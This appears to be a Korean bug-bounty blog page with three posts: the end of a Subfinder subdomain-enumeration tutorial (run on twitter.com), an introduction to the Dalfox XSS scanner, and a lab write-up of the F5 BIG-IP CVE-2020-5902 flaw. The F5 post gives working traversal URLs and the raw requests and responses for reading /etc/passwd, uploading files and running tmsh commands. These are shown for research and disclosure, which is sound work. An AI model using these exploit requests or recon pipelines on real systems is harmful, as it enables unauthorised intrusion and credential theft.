_ \/ ___/ (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /    /____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/ v2.4.8 projectdiscovery.ioUse with caution. You are responsible for your actionsDevelopers assume no liability and are not responsible for any misuse or damage.By using subfinder, you also agree to the terms of the APIs used.[INF] Enumerating subdomains for twitter.comcareers.twitter.commta47.e.twitter.comdeveloper-staging.twitter.combbmas.twitter.combrandhub.twitter.comapi-39-4-5-39-4-9.twitter.comema.twitter.com...중간 생략...vpn-lab.smfc.twitter.comaudubon.fra2.twitter.comgoldenglobes.twitter.com[INF] Found 1137 subdomains for twitter.com in 3 seconds 330 milliseconds다수의 도메인 대상 하위 도메인 열거만일 다수의 도메인을 대상으로 실행하고 싶다면 아래와 같이 도메인 리스트가 나열된 파일을 먼저 만드십시요. target1.comtarget2.comtarget3.com...위의 파일을 domains.txt 라는 이름으로 저장했다고 합시다. -dL 옵션을 사용하면 domains.txt 파일에 저장된 각 도메인을 대상으로 하위 도메인을 검색할 수 있습니다../subfinder -dL domains.txt 파일로 결과 저장다음과 같이 -o 옵션을 사용하여 검색 결과를 로컬PC에 파일로 저장할 수 있습니다../subfinder -d target.com -o result.txt수동으로 API 키 설정 파일 지정-config 옵션을 통해 설정 파일을 지정할 수 있습니다../subfinder -config ~/.config/subfinder/config.yaml -d target.com -o result.txt특정 수동 소스 제외 -exclude-sources 옵션을 사용해 검색 시 사용을 원하지 않는 수동 소스를 제외할 수 있습니다../subfinder -exclude-sources censys -d target.com화면에 하위도메인만 출력-silent 옵션을 통해 실행 시 기본으로 표시되는 Subfinder 로고나 알림성 메시지가 출력되지 않도록 할 수 있습니다. 출력에는 검색된 하위 도메인 내역만 표시됩니다../subfinder -silent -d target.com 이 외에도 도움말을 참고하시면 활용할 수 있는 더욱 많은 옵션이 있습니다../subfinder -h버그바운티 실무에서의 Subfinder 활용버그바운티 프로그램의 취약점 점검 대상이 와일드카드 도메인(*.target.com)인 경우에는 하위도메인을 찾아내는 일이 가장 우선되어야 합니다. 따라서 사실상 이 도구를 활용할 수 있는 방법은 보안연구원의 창의력에 달려 있습니다. 다음은 Subfinder 도구를 사용한 사례입니다. 명령에 사용된 다른 도구들은 별도로 설명하지 않습니다.라이브 호스트/도메인/자산 검색 (@YashGoti)subfinder -d http://tesla.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -uSubdomain Takerover(하위도메인 인수) 취약점 점검 (@hahwul)subfinder -d {target} >> domains ; assetfinder -subs-only {target} >> domains ; amass enum -norecursive -noalts -d {target} >> domains ; subjack -w domains -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover ; 소개를 마치며지금까지 Subfinder라는 하위 도메인 열거 도구의 설치부터 기본적인 사용법에 대해 소개해드렸습니다. 다양한 하위 도메인 열거 도구가 존재하고 각 도구마다의 장단점이 있습니다. 반드시 Subfinder를 사용해야만 하위도메인을 찾을 수 있는 것은 아닙니다. 개인의 취향이나 선호도에 따라 subfinder가 아닌 다른 도구를 사용하셔도 무방합니다. 버그바운티에 참여하는 보안연구원 대부분은 하위 도메인 열거에 우수한 성능이 입증된 도구 몇 개를 선정해 함께 사용하곤 하며 Subfinder 역시 버그바운티 활동을 하는 많은 보안연구원들이 선택한 도구 중 하나입니다. Subfinder를 통해 빠르고 쉽게 하위 도메인을 찾길 바랍니다. Subfinder Github - https://github.com/projectdiscovery/subfinder
 2021-07-06 10:15 KST      4182

[해킹 도구를 소개합니다 #1] Dalfox: 매개변수 분석 및 XSS 스캐너

웹 애플리케이션 취약점 진단시 빠뜨릴 수 없는 취약점 중 하나는 XSS입니다. XSS는 매우 고전적인 취약점이지만 여전히 가장 빈번하게 발견되는 취약점이기도 합니다. "해킹 도구를 소개합니다"에서 첫번째로 소개드릴 도구는 XSS 식별을 위해 제작된 하훌(@Hahwul)님의 Dalfox입니다. 트위터에서 활발히 활동하는 버그바운티 헌터 중 우리나라(대한민국) 사람은 찾아보기 힘듭니다만 하훌님은 뛰어난 웹 해킹 실력을 보유한 우리나라의 버그바운티 헌터입니다. Dalfox 외에도 다른 도구를 제작하거나 토이 프로젝트를 통해 버그바운티 분야에 공헌하기도 하며 이미 버그바운티 분야에서 꽤나 유명인사가 되어 계시죠.  그의 설명에 따르면 Dalfox는 golang/DOM 파서를 기반으로 한 매개변수 분석 및 XSS 취약점을 스캔하기 위한 커맨드라인 도구입니다. Dalfox라는 이름에서 Dal은 말그대로 한국어로 '달'을 뜻하며, fox는 Find Of XSS의 머리글자입니다. Dalfox의 로고를 한번 보시면 도구의 이름을 감각적으로 잘 표현했다는 것을 볼 수 있습니다. (웹브라우저인 파이어폭스와 조금 비슷하다고 느끼는 것은 아마도 기분 탓일겁니다. :D )설치Ubuntu를 사용하는 경우에는 아래와 같이 단 한줄의 명령만 실행하면 설치할 수 있습니다.sudo snap install dalfox정상적으로 설치되면 아래와 같은 메세지를 볼 수 있습니다.설치가 제대로 되었는지 확인하기 위해 dalfox 명령을 실행해봅니다.dalfoxUbuntu 외에도 Mac OS에서도 설치하여 사용하실 수 있으며, 소스를 통한 설치도 가능합니다.사용법dalfox의 기본 사용법은 아래의 형식을 따릅니다.dalfox [mode] [flags] [data]dalfox는 상황에 따른 다양한 모드를 지원합니다. 현재 지원되는 모드는 아래 5개의 모드가 있습니다.URL 모드(싱글 타겟 모드)파이프라인 모드파일 모드(멀티 타겟 모드)SXSS 모드서버 모드(REST API)URL 모드 (싱글 타겟 모드)URL 모드는 단일 URL에 대한 분석 및 검사를 수행합니다.dalfox url http://testphp.vulnweb.com/listproducts.php아래의 실행 결과를 보시면 지정된 URL을 분석하여 XSS를 검출했음(검사 결과 마지막 부분)을 확인할 수 있습니다. 흥미로운 점은 dalfox에 내장된 데이터베이스 에러 메시지가 노출되는지 검사해주는 점입니다. 에러 메시지가 노출되는 엔드포인트를 통해 SQL 인젝션 공격 또한 시도해볼 수 있겠네요. 파이프라인 모드파이프라인 모드는 시스템 I/O로 입력을 받아 다수의 URL을 대상으로 검사를 수행할 수 있습니다.파이프라인 모드를 사용하면 다른 도구의 출력을 dalfox의 입력으로 사용하는 것이 가능합니다.echo 'urls.txt' | dalfox pipedwisiswant0의 깃허브에 정리해둔 유용한 버그바운티 Oneliner에도 dalfox를 파이프라인 모드로 사용한 사례가 있습니다. (아래 명령어의 뒷 부분)gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee result.txt파일 모드 (멀티 타겟 모드)다수의 URL을 검사할 수 있다는 점에서 파이프라인 모드와 유사하지만 검사할 URL 목록을 가진 파일명을 입력으로 받습니다. dalfox file urls.txtBurp Suite이나 ZAProxy의 원시 요청 파일을 입력으로 사용해 검사를 수행할 수 있는 기능을 제공합니다.dalfox file req.raw --rawdataSXSS 모드SXSS 모드는 저장된 XSS(Stored XSS)를 스캔하기 위한 모드입니다. 기본 사용법은 아래와 같습니다. dalfox sxss {TARGET-URL} -d {POST-DATA} --trigger {VERIFY_URL}{TARGET_URL}에는 XSS 페이로드를 주입할 수 있는 URL을 입력하고 -d 옵션으로 POST 데이터를 지정할 수 있습니다. 그리고 --trigger 옵션을 사용해 주입된 XSS 페이로드가 실행되는지 검사할 URL을 지정하여 저장된 XSS에 취약한지 테스트할 수 있습니다. dalfox sxss http://example.com/update_profile -d name=foo --trigger "http://example.com/view_profile"서버 모드dalfox가 서버로서 동작하며 웹 요청을 사용해 스캔을 수행할 수 있는 모드입니다. 현재 Swagger를 지원합니다.dalfox server --host 0.0.0.0 --port 8090소개를 마치며지금까지 Dalfox의 매우 기초적인 사용법에 대해서만 간단히 소개해드렸습니다. Dalfox는 타겟 URL을 분석하여 XSS 및 SQL 인젝션, SSTI, Open Redirect 등의 기본적인 웹 취약점을 식별하기 위해 매우 유용하게 사용할 수 있는 도구입니다. 여기서 소개해드린 사용법 외에도 여러분의 XSS 사냥을 위한 다양한 옵션들이 제공됩니다. 하훌님의 Dalfox 웹사이트를 방문하여 더 자세한 내용을 확인해보세요.제가 아는 한 Dalfox의 제작자 하훌님은 이 도구에 남다른 애착을 갖고 기능을 개선하는 등 활발히 활동하고 있습니다. 훌륭하고 멋진 도구를 제작하여 무료로 공개해 준 그의 배려와 노력에 감사드리며, XSS를 찾기 위해 고생하고 계실 다른 헌터분들께dalfox가 조금이나마 도움이 되기를 바랍니다.
 2021-05-24 11:20 KST      3169

F5 BIG-IP TMUI RCE 취약점(CVE-2020-5902)

지난 주에 Positive Technologies사의 보안 연구원인 Mikhail Klyuchnikov에 의해 F5 BIG-IP 애플리케이션 보안 서버의 설정 유틸리티인 TMUI(Traffic Management User Interface)에 존재하는 RCE 취약점이 공개되었습니다. Mikhail Klyuchnikov 트윗:My F5 BIG-IP Unauth Remote Command Execution (CVE-2020-5902). Please update your software.https://t.co/l8KpYJ9YvH— n1✴️ (@__mn1__) July 2, 2020Mikhail Klyuchnikov 연구원은 취약점을 공개하면서 아래와 같이 밝혔습니다.“이 취약점을 악용함으로써 BIG-IP 설정 유틸리티에 접근할 수 있는 원격 공격자는 인증없이 원격 코드 실행 (RCE)을 수행할 수 있습니다. 공격자는 파일 생성 및 삭제, 서비스 비활성화, 정보 탈취 및 임의의 시스템 명령과 Java 코드를 실행하고, 시스템을 완전히 손상시키며, 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색할 수 있습니다. 이 경우 RCE는 디렉토리 탐색을 허용하는 것과 같은 여러 구성 요소의 보안 결함으로 인해 발생합니다. 이는 F5 BIG-IP 웹 인터페이스가 Shodan과 같은 검색 엔진에 노출된 회사에 특히 위험합니다. 다행히도이 제품을 사용하는 대부분의 회사는 인터넷에서 인터페이스에 액세스 할 수 없습니다. "이 글을 작성하는 시점 기준으로 Shodan에서 확인해 본 결과, 약 8,400여개가 넘는 취약한 호스트가 검색되었으며, 3,012개의 서버가 취약한 것으로 나타났다고 합니다. 한국은 미국, 중국, 대만에 이어 4위로 약 200여대가 노출되어 있는 것으로 나타나네요.Shodan 검색 결과Bad Packets 트윗:Our latest CVE-2020-5902 scans have identified 3,012 vulnerable F5 hosts worldwide.Bad Packets vulnerability scan results are freely available for authorized government CERT, CSIRT, and ISAC teams.Submit request here: https://t.co/0eV9Go1Fsw https://t.co/Sh4lAHpQVn— Bad Packets (@bad_packets) July 7, 2020또한, NCC Group에 의하면 취약한 호스트에서 "web.xml"이나 "/etc/hosts" 파일을 캡쳐하는 등 실제 스캔 및 공격이 감지되고 있다고 하며, 버그 바운티 헌터 및 공격자들에게 엄청나게 매력적인 취약점인지라, 이 취약점이 공개된 이후 너도 나도 할 것 없이 공략하고 있나 봅니다.트위터에는 이런 짤도 등장했네요. 취약한 것으로 알려진 제품 및 버전아래의 취약한 제품을 사용하고 있다면 F5의 보안 권고에 따라 최신 릴리즈로 업그레이드를 해야 합니다.제품버전BIG IP(LTM, AAM, AFM, Analytics, APM,ASM, DNS, FPS, GTM, Link Controller, PEM)15.1.0~15.0.0, 14.1.0~14.1.2, 13.1.0~13.1.3, 12.1.0~12.1.5, 11.6.1~11.6.5분석CVE-2020-5902 취약점은 취약한 F5 BIG-IP를 사용하는 서버의 설정 인터페이스인 TMUI에 대한 접근이 BIG-IP 관리 포트 및 Self IP에 의해 노출될 경우 특수하게 조작된 HTTP 요청을 보내는 방식으로 악용될 수 있습니다. Self IP란? VLAN의 호스트에 접근하기 위한 BIG-IP 시스템의 IP주소. (F5 기술문서 참조)여기서, "특수하게 조작된 HTTP 요청"이란 Mikhail Klyuchnikov 연구원이 밝힌 바와 같이 디렉토리 탐색 취약점에 주로 사용되는 문자열이 핵심이 됩니다. 바로 이겁니다.F5의 보안 권고를 보면 모든 네트워크 인터페이스에서의 보안 조치로 httpd 설정에 아래와 같이 설정을 하라고 권고하고 있습니다. include '<LocationMatch ".*\.\.;.*">Redirect 404 /</LocationMatch>'즉, "*..;" 문자열을 포함하는 모든 URL에 대해 404 에러 페이지로 리디렉션하도록 권장하고 있습니다.추측컨데, /tmui/login.jsp와 같은 URL에서 "..;" 문자열을 통해 상위 디렉토리로 이동시킨 후 인증이 필요한 페이지로 접근 시 인증되지 않은 사용자도 접근이 가능한 것으로 보입니다. 일종의 인증 우회 취약점이라고 볼 수도 있겠네요. 정확한 원인은 좀 더 분석을 해봐야 할 것 같네요.아무튼 이 취약점을 악용하면 로컬 파일 포함(LFI)과 파일 업로드, 원격 코드 실행(RCE)이 가능한 엔드포인트로 접근이 가능하게 됩니다. 해당 엔드포인트는 아래와 같습니다.로컬 파일 포함(LFI)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf파일 업로드https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp원격 코드 실행(RCE)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin(LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM데모F5 BIG-IP Virtual Edition의 평가판 중 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드 받아서 직접 테스트해보았습니다.아래는 설정을 마친 후 BIG-IP의 서버로 접근 시 처음 나타나는 TMUI의 로그인 페이지입니다.이 로그인 페이지의 URL 뒤에 각각의 문자열을 추가하여 요청을 해보겠습니다.디렉토리 리스트 조회[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:55:29 GMT Server: Apache ... {"output":{"dir":"www","children":[{"dir":"avr","children":[{"file":".htaccess"},{"dir":"api","children":[{"file":"cli.php"},{"file":"device-groups.php"},{"file":"dos-profiles.php"},{"file":"exportPDF.php"},{"file":"get-dos-attacks.php"},{"file":"monp2rjd.php"}]},{"dir":"app","children":[{"dir":"dos","children":[{"dir":"images","children":[{"file":"ajax-loader.blue.gif"},{"file":"ajax-loader.gif"}]},{"dir":"js","children":[{"dir":"charts","children":[{"dir":"AttacksChart","children":[{"file":"attacksChart.css"},{"file":"attacksChart.directive.ts"},{"file":"attacksChart.view.html"}]},{"dir":"DimensionBreakdownChart","children":[{"file":"dimensionBreakdownChart.css"},{"file":"dimensionBreakdownChart.directive.ts"},{"file":"dimensionBreakdownChart.view.html"}]},{"dir":"DimensionStatusChart","children":[{"file":"dimensionStatusChart.css"},{"file":"dimensionStatusChart.html"},{"file":"dimensionStatusChart.ts"}]},{"dir":"GeoMapChart","children":[{"file":"geoMapChart.css"},{"file":"geoMapChart.directive.ts"},{"file":"geoMapChart.view.html"},{"file":"topojson.d.ts"}]},{"file":"charts.ts"}]},...로컬 파일 포함(LFI)[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 192.168.0.21 Connection: close ... [응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:57:35 GMT Server: Apache ... {"output":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/sbin\/nologin\nsupport:x:0:0:support:\/root:\/bin\/bash\nf5emsvr:x:975:975:F5 EM Service Account:\/root:\/bin\/false\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\n"}파일 업로드[요청]POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1 Host: 192.168.0.21 Connection: close ... fileName=/tmp/bigip-vuln.txt&content=bugbountyclub[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 16:00:02 GMT Server: Apache ...LFI 취약점에 사용한 엔드포인트를 통해 bigip-vuln.txt 파일이 정상적으로 생성되었는지 확인해보니 아래와 같이 성공적으로 파일이 만들어졌음을 확인할 수 있습니다.원격 코드 실행(RCE)F5 BIG-IP는 TMSH이라고 하는 CLI 환경을 제공합니다. TMSH에서 사용할 수 있는 명령어는 여기를 참고하세요.[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Wed, 08 Jul 2020 09:54:45 GMT Server: Apache ... {"error":"","output":"auth user admin {\n description \"Admin User\"\n encrypted-password $6$NrcclyHd$bOsfvQb75GrwujNy81cQ0JYKLBFmPT27Uul4nJTK2\/Q1Y87Im990.PO1OFuSF0.MZmFPCNECR83hmWjgNpg9u0\n partition Common\n partition-access {\n all-partitions {\n role admin\n }\n }\n shell none\n}\n"} 보완 대책F5의 보안 권고를 참고하시기 바랍니다.다만, 취약한 엔드포인트로 접근을 막더라도 인증된 사용자는 여전히 접근하여 명령 실행이 가능한 관계로, 관리 계정의 패스워드 강화 등의 조치가 필요할 것 같습니다.참고 문헌https://www.tenable.com/blog/cve-2020-5902-critical-vulnerability-in-f5-big-ip-traffic-management-user-interface-tmuihttps://support.f5.com/csp/article/K52145254https://github.com/yassineaboukir/CVE-2020-5902https://github.com/jas502n/CVE-2020-5902
 2020-07-07 08:50 KST      5018